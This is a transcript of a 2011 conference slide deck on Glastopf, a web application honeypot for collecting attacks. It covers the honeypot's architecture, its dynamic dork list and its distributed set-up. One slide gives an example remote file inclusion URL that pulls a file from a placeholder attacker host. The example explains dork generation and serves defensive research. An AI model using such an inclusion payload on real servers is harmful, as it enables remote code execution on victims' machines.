Glastopf - Looking for trouble?
Transcript of Glastopf - Looking for trouble?
![Page 1: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/1.jpg)
Glastopf - Looking for trouble?Low interaction web application honeypot
Lukas Rist
Glastopf Project
March 21, 2011
![Page 2: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/2.jpg)
Agenda
• Glastopf Project• Glastopf Web Application Honeypot• Awesome Live Action• Q&A
Lukas Rist Glastopf - Looking for trouble?, 1 of 14
![Page 3: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/3.jpg)
Boring History Part
• Started December 2008, Minimal Python Web Server• GSoC 2009• End of 2009, joining Honeynet Project
• Bachelor Thesis: GlastopfNG• GSoC 2011?
Lukas Rist Glastopf - Looking for trouble?, 2 of 14
![Page 4: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/4.jpg)
Boring History Part
• Started December 2008, Minimal Python Web Server• GSoC 2009• End of 2009, joining Honeynet Project
• Bachelor Thesis: GlastopfNG• GSoC 2011?
Lukas Rist Glastopf - Looking for trouble?, 2 of 14
![Page 5: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/5.jpg)
Project Goals
• Powerful Web Application Honeypot• Collecting Attacks• Gain Intelligence
• Fighting Cyber Threads (script kiddies?)
Lukas Rist Glastopf - Looking for trouble?, 3 of 14
![Page 6: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/6.jpg)
Project Goals
• Powerful Web Application Honeypot• Collecting Attacks• Gain Intelligence
• Fighting Cyber Threads (script kiddies?)
Lukas Rist Glastopf - Looking for trouble?, 3 of 14
![Page 7: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/7.jpg)
Introducing the Glastopf Honeypot
• Motivation• Architecture• Dynamic Dork List• Distributed Set-Up• GlastopfNG
Lukas Rist Glastopf - Looking for trouble?, 4 of 14
![Page 8: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/8.jpg)
Motivation
• Lots of Attacks against Web Servers• Sensitive Data & Trust• Compromised Servers
• New Approach vs. Other Projects
Lukas Rist Glastopf - Looking for trouble?, 5 of 14
![Page 9: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/9.jpg)
Motivation
• Lots of Attacks against Web Servers• Sensitive Data & Trust• Compromised Servers
• New Approach vs. Other Projects
Lukas Rist Glastopf - Looking for trouble?, 5 of 14
![Page 10: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/10.jpg)
Architecture
Lukas Rist Glastopf - Looking for trouble?, 6 of 14
![Page 11: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/11.jpg)
Dynamic Dork List
• Previous: Static templates• New, dynamic and automated Approach• Disadvantages
Lukas Rist Glastopf - Looking for trouble?, 7 of 14
![Page 12: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/12.jpg)
• Attack:http://victim.com/vulnerable.php?color=http://evil.com/bad.txt
• Dork:vulnerable.php
• Search Robot crawles the list
• Search request:inurl:vulnerable.php
• Search result:http://example.com/
Lukas Rist Glastopf - Looking for trouble?, 8 of 14
![Page 13: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/13.jpg)
Distributed Set-Up
• Many Domains• Central Database• htaccess redirects
• Invisible Links• Wordpress Plug-in
Lukas Rist Glastopf - Looking for trouble?, 9 of 14
![Page 14: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/14.jpg)
Distributed Set-Up
• Many Domains• Central Database• htaccess redirects
• Invisible Links• Wordpress Plug-in
Lukas Rist Glastopf - Looking for trouble?, 9 of 14
![Page 15: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/15.jpg)
Stuff we collect
• ID Files• Spreader, (DDoS) Bots• Shells, Backdoors• Drive-by Kits• ...
Lukas Rist Glastopf - Looking for trouble?, 10 of 14
![Page 16: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/16.jpg)
GlastopfNG
• Same approache different Implementation• Modularity• Lightweight xml Configuration and Rules• Porting Modules
Lukas Rist Glastopf - Looking for trouble?, 11 of 14
![Page 17: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/17.jpg)
Web Server Botnets
• Imagine a Web Server Botnets Power• Between 10 and 1k Bots
• PHP Sandbox• Dirty Python IRC Client, HALE?
Lukas Rist Glastopf - Looking for trouble?, 12 of 14
![Page 18: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/18.jpg)
Web Server Botnets
• Imagine a Web Server Botnets Power• Between 10 and 1k Bots
• PHP Sandbox• Dirty Python IRC Client, HALE?
Lukas Rist Glastopf - Looking for trouble?, 12 of 14
![Page 19: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/19.jpg)
Awesome Live Action (aka Demo)
• Live Glastopf Sensor• Attacking Glastopf• Dynamic Dork List• Collected File• (IRC C&C Server)
Lukas Rist Glastopf - Looking for trouble?, 13 of 14
![Page 20: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/20.jpg)
Questions, Answers and Contact
• Questions?• Answers
• Contact: http://glastopf.org• Lukas: [email protected]• Thanks!
Lukas Rist Glastopf - Looking for trouble?, 14 of 14
![Page 21: Glastopf - Looking for trouble?](https://reader031.fdocuments.us/reader031/viewer/2022020703/61fb3dfe2e268c58cd5bd943/html5/thumbnails/21.jpg)
Questions, Answers and Contact
• Questions?• Answers• Contact: http://glastopf.org• Lukas: [email protected]• Thanks!
Lukas Rist Glastopf - Looking for trouble?, 14 of 14